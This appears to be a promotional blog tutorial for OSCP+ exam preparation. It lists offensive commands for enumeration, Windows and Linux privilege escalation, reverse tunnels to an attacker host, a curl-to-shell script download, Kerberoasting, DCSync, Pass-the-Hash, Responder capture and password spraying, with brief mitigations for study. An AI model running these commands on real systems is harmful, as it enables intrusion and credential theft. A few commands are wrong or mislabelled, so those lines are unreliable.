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Introduction:
The OSCP+ exam demands more than theoretical knowledge—it requires hands-on mastery of enumeration, exploitation, and post-exploitation under real-world constraints. This training program by Ignite Technologies bridges that gap through simulated CTF environments, covering everything from Windows/Linux privilege escalation to Active Directory attacks and tunneling.
Learning Objectives:
- Execute full-chain penetration tests including information gathering, vulnerability exploitation, and privilege escalation on both Windows and Linux targets.
- Perform Active Directory attacks (Kerberoasting, Pass-the-Hash, DCSync) and pivot through segmented networks using tunneling techniques.
- Effectively leverage public exploits, write professional reports, and apply exam-specific strategies to pass the OSCP+ certification.
You Should Know:
- Information Gathering & Enumeration – The Foundation of Every Hack
Start with passive reconnaissance, then move to active scanning. Use Nmap to discover open ports, services, and OS fingerprints. For a stealthy approach, combine with Proxychains or a VPN.
Linux Commands:
Basic aggressive scan nmap -sC -sV -p- -T4 -oA full_scan <target-IP> UDP scan for common services nmap -sU --top-ports 100 -sV <target-IP> Enumerate SMB shares smbclient -L //<target-IP> -N enum4linux -a <target-IP>
Windows (PowerShell) equivalent:
Using Test-NetConnection for port scanning
1..1024 | % { Test-NetConnection <target-IP> -Port $_ -WarningAction SilentlyContinue }
Using Invoke-PortScan from PowerSploit
Invoke-PortScan -Hosts <target-IP> -Ports "21,22,80,443,445,3389"
Step‑by‑step: Identify live hosts, then enumerate services (web, SMB, FTP, RDP). For web services, run directory busting with gobuster or ffuf. Save all output for later exploitation.
- Vulnerability Scanning & Analysis – Automate and Verify
Use Nessus or OpenVAS for broad scans, but never trust them blindly. Manually verify each finding. For OSCP+, focus on known vulnerabilities that can be reliably exploited.
Linux Commands:
Using nmap NSE scripts for vulnerability detection nmap --script vuln -sV <target-IP> Search for exploits with searchsploit searchsploit "Windows 10 priv esc" searchsploit -m exploits/windows/local/xxx.py
Tool configuration: In Metasploit, use `db_nmap` to import results, then `vulns` to list discovered vulnerabilities. For web apps, configure Burp Suite with FoxyProxy and install the Active Scan++ extension.
Step‑by‑step: Run automated scanner → identify high-risk CVEs → cross-check with Exploit-DB → test exploit in isolated environment → document false positives.
- Windows Privilege Escalation – From User to SYSTEM
Windows misconfigurations are abundant. Common vectors: Unquoted Service Paths, AlwaysInstallElevated, SeImpersonate/SeAssignPrimaryToken privileges, and weak registry permissions.
Commands & Tools (run from low-priv shell):
Check for unquoted service paths wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\" Using PowerUp.ps1 powershell -ep bypass -c ". .\PowerUp.ps1; Invoke-AllChecks" SeImpersonate exploit (PrintSpoofer) PrintSpoofer.exe -i -c cmd.exe Check AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Step‑by‑step: Enumerate systeminfo (patches, hotfixes) → check user privileges (whoami /priv) → run winPEAS or PowerUp → attempt kernel exploits only as last resort (unstable) → use JuicyPotato/PrintSpoofer for service accounts.
Mitigation: Always install security patches, avoid granting SeImpersonate to non-admin users, use fully quoted service paths.
- Linux Privilege Escalation – SUID, Sudo, and Kernel Tricks
Linux privesc relies on SUID binaries, sudo misconfigurations, writable crontabs, and outdated kernels.
Linux Commands:
Find SUID binaries find / -perm -4000 -type f 2>/dev/null Check sudo rights sudo -l LinPEAS automation curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh Exploiting sudo with CVE-2019-14287 (sudo -u-1) sudo -u-1 /bin/bash Using GTFO bins for SUID (e.g., find) find /etc/passwd -exec /bin/sh \;
Step‑by‑step: Run `id` and `uname -a` → check for writable `/etc/passwd` or `/etc/sudoers` → search for known kernel exploits (searchsploit linux kernel <version>) → test with LinPEAS → compile exploit on attacker machine and transfer.
Mitigation: Remove unnecessary SUID bits, restrict sudo commands with absolute paths, keep kernel updated.
- Tunneling & Pivoting – Breach One, Conquer the Network
After compromising a host, use it as a jumpbox to reach internal networks. SSH tunneling, Chisel, and Proxychains are essential.
Linux (attacker) & compromised host:
SSH dynamic port forwarding (SOCKS proxy) ssh -D 9050 user@compromised-IP Proxychains configuration echo "socks4 127.0.0.1 9050" >> /etc/proxychains.conf proxychains nmap -sT -Pn 10.0.0.0/24 Chisel (reverse SOCKS) On attacker: ./chisel server -p 8000 --reverse On compromised: ./chisel client attacker-IP:8000 R:socks
Windows alternative using Plink (PuTTY link):
plink.exe -ssh -D 9050 attacker-user@attacker-IP
Step‑by‑step: Identify internal networks via `ipconfig` / `ifconfig` → upload Chisel/SSH binary → establish tunnel → route traffic through Proxychains → scan internal hosts → repeat exploitation.
- Active Directory Attacks – The Crown Jewel of OSCP+
Modern AD attacks involve Kerberoasting, AS-REP Roasting, Pass-the-Hash, Overpass-the-Hash, DCSync, and Golden Tickets.
Commands using Impacket (Linux):
Kerberoasting GetUserSPNs.py domain.com/user:password -dc-ip <DC-IP> -request DCSync (requires replication privileges) secretsdump.py domain.com/admin:password@<DC-IP> -just-dc Pass-the-Hash with psexec psexec.py domain.com/user@<target-IP> -hashes LM:NTLM
Windows tools (Rubeus, Mimikatz):
Rubeus Kerberoast Rubeus.exe kerberoast /outfile:hashes.kerberoast Mimikatz DCSync lsadump::dcsync /user:krbtgt Pass-the-Hash from memory sekurlsa::pth /user:admin /domain:domain.com /ntlm:<hash>
Step‑by‑step: Enumerate AD users with BloodHound (SharpHound collector) → identify Kerberoastable accounts → crack hash with hashcat → use obtained ticket to access services → escalate to Domain Admin via DCSync or Golden Ticket.
Mitigation: Use managed service accounts (gMSA), enforce strong passwords, restrict replication permissions, enable Credential Guard.
- Password Attacks & Credential Exploitation – Cracking the Keys
Capturing hashes via Responder, cracking with John/Hashcat, and spraying credentials across services.
Linux Commands:
Responder to capture NTLMv2 hashes sudo responder -I eth0 -dwP Hashcat mode 5600 for NetNTLMv2 hashcat -m 5600 captured.hash /usr/share/wordlists/rockyou.txt Password spraying with crackmapexec crackmapexec smb <target-IP> -u users.txt -p 'Password123' --continue-on-success
Windows (using Invoke-TheHash):
SMB password spray Invoke-SMBExec -Target <IP> -Domain domain.com -Username user -Hash <ntlm>
Step‑by‑step: Run Responder in a compromised broadcast domain → capture authentication attempts → crack with Hashcat → use credentials to pivot or privesc.
Mitigation: Enable SMB signing, use complex passwords, implement MFA.
What Undercode Say:
- Real-world CTF training transforms passive OSCP+ theory into active muscle memory – you can’t pass by just reading.
- Privilege escalation and AD attacks remain the highest failure points; master them with the provided commands and step-by-step methodologies.
- Tunneling and pivoting are underrated skills that separate junior testers from senior red teamers; practice Chisel and Proxychains until they’re second nature.
- Password attacks are still effective because organizations ignore basic hygiene – use Responder and hashcat to prove the point.
- The training program by Ignite Technologies directly addresses these gaps, offering structured labs and personalized support that self-study often lacks.
- Expect the OSCP+ exam to increase its focus on Active Directory and evasive tunneling, as these reflect modern enterprise compromises.
- Automation (LinPEAS, PowerUp, BloodHound) saves time, but manual verification ensures you understand the underlying vulnerability.
- Professional report writing is not an afterthought; it’s 20% of your exam score – practice documenting every step with evidence.
Prediction:
As more organizations adopt zero-trust models, OSCP+ and similar certifications will evolve to include API security, container breakout (Docker/K8s), and cloud privilege escalation (AWS IAM misconfigurations). By 2027, hands-on CTF training will replace traditional multiple-choice exams entirely, forcing candidates to prove exploitation skills in live, monitored environments. Ignite Technologies’ approach—simulating real attack chains—will become the industry standard for cert prep, and demand for such training will outpace supply. Meanwhile, defenders will use the same techniques to build hardened Active Directory deployments, creating an arms race where only continuous practice keeps professionals relevant.
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